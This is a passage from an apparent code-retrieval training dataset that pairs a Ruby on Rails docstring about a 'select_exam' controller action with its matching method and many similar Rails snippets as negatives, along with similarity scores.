show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def post_params params.require(:book).permit(:author_name, :name, :content, :image, :tag_list, :tag, { tag_ids: [] }, :tag_ids) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
name: select_exam explanation: this method associate select_exam view with this controller parameters: none return: select_exam
def select_exam end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_exam\n\t\t@exam = Exam.find(params[:id])\n\tend", "def set_exam\r\n @exam = Exam.find(params[:id])\r\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam = Exam.find(params[:id])\n end", "def set_exam\n @exam_answer = ExamAnswer.find(params[:id])\n end", "def set_exam\n\t\t\t@exam = Exam.includes(:questions).find(params[:id])\n\t\tend", "def set_exam\n @exam = @student.exams.find(params[:id])\n end", "def set_results\n @exam = Exam.find(params[:exam_id])\n end", "def set_exam_question\n @exam_question = ExamQuestion.find(params[:id])\n end", "def set_exam_result\n @exam_result = ExamResult.find(params[:id])\n end", "def set_random_exam\n @random_exam = RandomExam.find(params[:id])\n end", "def set_introexam\n @introexam = Introexam.find(params[:id])\n end", "def answer_exam\n if params[:year_exam] \n questions ||= Question.where(year: params[:year_exam])\n assert(questions.kind_of?(Question))\n else\n questions ||= Question.all\n assert(questions.kind_of?(Question))\n end\n\n if !questions.empty?\n auxiliar_exam ||= push_questions_auxiliar(questions)\n @exam = push_questions(auxiliar_exam)\n else\n redirect_to_back(select_exam_path)\n if params[:year_exam]\n flash[:danger] = t(:year_exam_not_found)\n else\n flash[:danger] = t(:exam_not_found)\n end\n end\n end", "def set_examquestion\n @examquestion = Examquestion.includes(:question, qpaper: :university_course ).find(params[:id])\n end", "def set_exam_student\n @exam_student = ExamStudent.find(params[:id])\n end", "def show\n @exam = Exam.find(params[:id])\n @question = Question.new\n end", "def exam\n if @errors.nil?\n redirect_to exam_score_exam_path(@exam)\n else\n @students = []\n students ||= @exam.exam_group.batch.students.all\n @students = @exam.select_subject(@students, students, @exam)\n @exam_grade ||= @exam.exam_group.batch.grading_levels.all\n render 'exam_score'\n end\n end", "def set_first_exam\n @first_exam = FirstExam.find(params[:id])\n end", "def set_exam_set\n @exam_set = ExamSet.find(params[:id])\n end", "def set_written_exam\n @written_exam = WrittenExam.find(params[:id])\n end", "def set_exam_subject\n @exam_subject = ExamSubject.find(params[:id])\n end", "def set_exam\n\t\t\t@exam = Exam.find(params[:id])\n\t\t\tif @exam.user_id != current_user.id\n\t\t\t\tDevise::FailureApp\n\t\t\tend\n\t\tend", "def set_exam_setting\n @exam_setting = ExamSetting.find(params[:id])\n end", "def take\n @exam = current_exam(params)\n end", "def set_past_exam\n @past_exam = PastExam.find(params[:id])\n end", "def set_exam\n professional_list = Exam.where(user: @list).pluck(:id)\n user_list = Exam.where(user: current_user).pluck(:id)\n exams = Exam.where(id: [professional_list, user_list].flatten)\n if exams.blank?\n @exam = nil\n redirect_to root_url, notice: \"Registro não encontrado\"\n else\n @exam = Exam.find(params[:id])\n end\n end", "def show\n @exam_option = ExamOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam_option }\n end\n end", "def set_exam_result_item\n @exam_result_item = ExamResultItem.find(params[:id])\n end", "def show\n @questions = @exam.questions\n @question = Question.new\n end", "def exam_params\n params[:exam][:employee_id] = current_employee.id\n params.require(:exam).permit(:title, :marks, :time, :state, :employee_id, :subject_id, :team_id)\n end", "def index\n @examquestions = Examquestion.all\n end", "def exam_params\n params.require(:exam).permit(:name, :exam_type, :difficulty_level, :course_id, :full_mark, :no_of_questions)\n end", "def set_xmt_test_rand_exam\n @rand_exam = Xmt::Test::RandExam.find(params[:id])\n end", "def set_mockexam\n @mockexam = Mockexam.find(params[:id])\n end", "def random_exam_params\n params.require(:random_exam).permit(\n :name,\n random_exam_sections_attributes: [\n :id,\n :selected,\n :section_id,\n :questions_number\n ]\n )\n end", "def set_exam_mark\n @exam_mark = ExamMark.find(params[:id])\n end", "def index\n @exam_sets = ExamSet.all\n end", "def new\n @exam_option = ExamOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exam_option }\n end\n end", "def set_exam_management\n @exam_management = ExamManagement.find(params[:id])\n end", "def exam\n session[:user_id] = params[:id]\n \n redirect_to new_result_paper_path\n end", "def exam_params\n params.require(:exam).permit(:student_name, :english_score_16_1, :english_dev_16_1, :english_score_16_2, :english_dev_16_2, :english_score_16_3, :english_dev_16_3, :english_score_16_4, :english_dev_16_4, :math1_score_16_1, :math1_dev_16_1, :math1_score_16_2, :math1_dev_16_2, :math1_score_16_3, :math1_dev_16_3, :math1_score_16_4, :math1_dev_16_4, :math2_score_16_1, :math2_dev_16_1, :math2_score_16_2, :math2_dev_16_2, :math2_score_16_3, :math2_dev_16_3, :math2_score_16_4, :math2_dev_16_4, :genbun_score_16_1, :genbun_dev_16_1, :genbun_score_16_2, :genbun_dev_16_2, :genbun_score_16_3, :genbun_dev_16_3, :kobun_score_16_4, :kobun_dev_16_4, :kobun_score_16_1, :kobun_dev_16_1, :kobun_score_16_2, :kobun_dev_16_2, :kobun_score_16_3, :kobun_dev_16_3, :kobun_score_16_4, :kobun_dev_16_4, :kanbun_score_16_1, :kanbun_dev_16_1, :kanbun_score_16_2, :kanbun_dev_16_2, :kanbun_score_16_3, :kanbun_dev_16_3, :kanbun_score_16_4, :kanbun_dev_16_4)\n end", "def show\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam }\n end\n end", "def setObj_examination\n @examination = Examination.find(params[:id])\n end", "def question_paper\n @company = Company.find(params[:id])\n @placement_exam = PlacementExam.find(params[:p_id])\n end", "def exam_params\n params.require(:exam).permit(:note, :student_id, :evaluation_id)\n end", "def show\n @my_exam = MyExam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_exam }\n end\n end", "def set_exam\n @exam = Exam.find(params[:id])\n redirect_to root_url, :alert => '项目已关闭' if @exam.closed? && !current_user.is_s_admin?\n rescue\n \tredirect_to root_url, :alert => '项目不存在'\n end", "def exam_params\n params[:exam]\n params.permit(:file, :posttype, :year, :user_id, :course_id, :examtype, :accepted, :acceptedby)\n end", "def written_exam_params\n params[:written_exam].permit(:title, :description, :subject_id, :date, :sgroup_id, :sclass_id, :additional_info_url, :passed)\n end", "def set_past_exam\n @past_exam = PastExam.includes(:course, :uploader).find(params[:id])\n end", "def create\n\t\n\t@exam_answer = ExamAnswer.new(exam_answer_params)\n\tif @exam_answer.exam_id == 999\n\t\t@exam_answer.exam_level = params[:exam_lv]\n\t\t@questions = Question.all.where(level: params[:exam_lv])\n\t\t@exams_questions = @questions.all.where(id: [params[:q1_id], params[:q2_id], params[:q3_id], params[:q4_id], params[:q5_id], params[:q6_id], params[:q7_id], params[:q8_id], params[:q9_id], params[:q10_id]])\n\telse\n\t\t@exam = Exam.find(@exam_answer.exam_id)\n\t\t@exam_answer.exam_level = @exam.level\n\t\t@questions = Question.all.where(level: @exam_answer.exam_level)\n\t\t@exams_questions = @questions.all.where(id: [@exam.question1, @exam.question2, @exam.question3, @exam.question4, @exam.question5, @exam.question6, @exam.question7, @exam.question8, @exam.question9, @exam.question10])\n\tend\n\t\n\t@exam_answer.user_id = current_user.id\n\t@exam_answer.ans1 = params[:q1]\n\t@exam_answer.q1 = (@exam_answer.ans1 == @exams_questions[0].answerR ? true : false)\n\t@exam_answer.ans2 = params[:q2]\n\t@exam_answer.q2 = (@exam_answer.ans2 == @exams_questions[1].answerR ? true : false)\n\t@exam_answer.ans3 = params[:q3]\n\t@exam_answer.q3 = (@exam_answer.ans3 == @exams_questions[2].answerR ? true : false)\n\t@exam_answer.ans4 = params[:q4]\n\t@exam_answer.q4 = (@exam_answer.ans4 == @exams_questions[3].answerR ? true : false)\n\t@exam_answer.ans5 = params[:q5]\n\t@exam_answer.q5 = (@exam_answer.ans5 == @exams_questions[4].answerR ? true : false)\n\t@exam_answer.ans6 = params[:q6]\n\t@exam_answer.q6 = (@exam_answer.ans6 == @exams_questions[5].answerR ? true : false)\n\t@exam_answer.ans7 = params[:q7]\n\t@exam_answer.q7 = (@exam_answer.ans7 == @exams_questions[6].answerR ? true : false)\n\t@exam_answer.ans8 = params[:q8]\n\t@exam_answer.q8 = (@exam_answer.ans8 == @exams_questions[7].answerR ? true : false)\n\t@exam_answer.ans9 = params[:q9]\n\t@exam_answer.q9 = (@exam_answer.ans9 == @exams_questions[8].answerR ? true : false)\n\t@exam_answer.ans10 = params[:q10]\n\t@exam_answer.q10 = (@exam_answer.ans10 == @exams_questions[9].answerR ? true : false)\n\t\n\trec_point = (@exam_answer.q1 ? 1:0) + (@exam_answer.q2 ? 1:0) + (@exam_answer.q3 ? 1:0) + (@exam_answer.q4 ? 1:0) + (@exam_answer.q5 ? 1:0) + (@exam_answer.q6 ? 1:0) + (@exam_answer.q7 ? 1:0) + (@exam_answer.q8 ? 1:0) + (@exam_answer.q9 ? 1:0) + (@exam_answer.q10 ? 1:0)\n\tpoints = rec_point/10.to_f\n\tif @exam_answer.exam_id == 999\n\t\tif params[:exam_lv] == \"Początkujący\"\n\t\t\tpoints2 = points*10.to_i\n\t\telse\n\t\t\tpoints2 = points*20.to_i\n\t\tend\n\telse\n\t\tpoints2 = points*@exam.points.to_i\n\tend\n\t@exam_answer.rec_points = points2\n\n\tif @exam_answer.exam_id == 999\n\t\ttemp = 7/10.to_f\n\t\tif params[:exam_lv] == \"Początkujący\"\n\t\t\t@min = temp*10.to_i\n\t\telse\n\t\t\t@min = temp*20.to_i\n\t\tend\n\telse\n\t\ttemp = 7/10.to_f\n\t\t@min = temp*@exam.points.to_i\n\tend\n\n\tif @exam_answer.rec_points >= @min\n\t\t@user_progress = UserProgress.find_by user_id: current_user.id\n\t\tif @exam_answer.exam_id == 999\n\t\t\tif params[:exam_lv] == \"Początkujący\" && @user_progress.p10?\n\t\t\t\t@user_progress.update(poczatkujacy: true)\n\t\t\telsif params[:exam_lv] == \"Zaawansowany\" && @user_progress.z10?\n\t\t\t\t@user_progress.update(complete_all: true)\n\t\t\t\t@user_progress.update(zaawansowany: true)\n\t\t\tend\n\n\n\t\telse\n\n\t\t\tif @exam.level == \"Początkujący\" && @user_progress.p10?\n\t\t\t\t@user_progress.update(poczatkujacy: true)\n\t\t\telsif @exam.level == \"Zaawansowany\" && @user_progress.z10?\n\t\t\t\t@user_progress.update(complete_all: true)\n\t\t\t\t@user_progress.update(zaawansowany: true)\n\t\t\tend\n\t\tend\n\t\tcurrent_user.increment!(:points, points2)\n\t\trespond_to do |format|\n\t\t if @exam_answer.save\n\t\t format.html { redirect_to @exam_answer, :notice => \"Zdales egzamin!.\" }\n\t\t format.json { render :show, status: :created, location: @exam_answer }\n\t\t else\n\t\t format.html { render :new }\n\t\t format.json { render json: @exam_answer.errors, status: :unprocessable_entity }\n\t\t end\n\t\tend\n\t\t\n\telse\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to exam_list_path , :notice => \"Nie zdales egzaminu, zdobyles za malo punktow, liczba otrzymanych punktow - #{@exam_answer.rec_points} , minimum do zdania - #{@min}\" }\n\t\t format.json { render exam_list_path, status: :unprocessable_entity , location: exam_list }\n\t\tend\n\tend\nend", "def index\n @random_exams = RandomExam.all\n end", "def exam_params\n params.require(:exam).permit(:exam_category_id, :name, :start_date)\n end", "def by_subject\n @exam = Exam.new\n session[:exam] = @exam\n @subjects = PlanSubject.find_unfinished_for(@user, :subjects => true)\n end", "def exam_params\n params.require(:exam).permit(:name)\n end", "def exam_params\n params[:exam].permit(:name, :grade)\n end", "def set_expert\n @expert = Expert.find(params[:id])\n end", "def index\n @first_exams = FirstExam.all\n end", "def exam_params\n\t\t\tparams.require(:exam).permit(:title, :date, :unit_id, \n\t\t\t\tquestions_attributes:[ :id, :question, :exam_id,\t:_destroy,\n\t\t\t\tresponse_attributes:[:id, :answer, :question_id, :video,:_destroy]]\n\t\t\t\t)\n\t\tend", "def exam_params\n\t\t\tparams.require(:exam).permit(:title, :expired)\n\t\tend", "def exam_params\n params.require(:exam).permit(:name, :level, :description, :experience,\n questions_attributes: [:id, :exam_id, :content, '_destroy',\n answers_attributes: [:id, :question_id, :content, :correct, '_destroy' ] ])\n end", "def index\n @exam_students = ExamStudent.all\n end", "def exam_params\n params.require(:exam).permit(:exam_type, :number, :is_solution, :file, :semester, :year)\n end", "def rand_exam_params\n params.require(:xmt_test_rand_exam).permit!\n end", "def set_practice\n @practice = Practice.find(params[:id])\n @questions = @practice.questions\n end", "def set_exams\n @course = Course.find(params[:course_id])\n end", "def exam_params\n params.require(:exam).permit(:exam_type, :name,:brief)\n end", "def exam_params\n params.require(:exam).permit(:title)\n end", "def show\n\t\t@lesson = Lesson.find(params[:lesson_id])\n\t\t# @subscription = @lesson.course.subscriptions.where(:user_id => current_user.id).first\n\t\t@exam = Exam.find(params[:id])\n\tend", "def choose_question\n if params.dig(:assessment, :type).present? && params.dig(:assessment, :type_id).present?\n type = params[:assessment][:type].camelize.constantize.where(id: params[:assessment][:type_id]).first rescue ''\n if type.present?\n all_questions = fetch_all_questions(type)\n if all_questions.count > 0\n assessment_questions = Assessment.fetch_assessment_questions(all_questions.ids, current_user.id)\n render json: calculate_remaining_qusts(all_questions, assessment_questions).order(\"RANDOM()\").limit(2).select(:id, :content, :options)\n else\n render json: {'type': 'No data found for selected type'}\n end\n else\n render json: {'type': 'Invalid selected type or type id'}\n end\n else\n render json: {'Input': 'Invalid inputs'}\n end\n end", "def index\n @exam_marks = ExamMark.all\n end", "def show\n Exam.find(params[:exam_id])\n\n user_exam = current_user.user_exams.find_or_initialize_by(exam_id: params[:exam_id])\n user_exam.save! unless user_exam.persisted?\n render json: UserExamRepresenter.new(user_exam).to_h\n end", 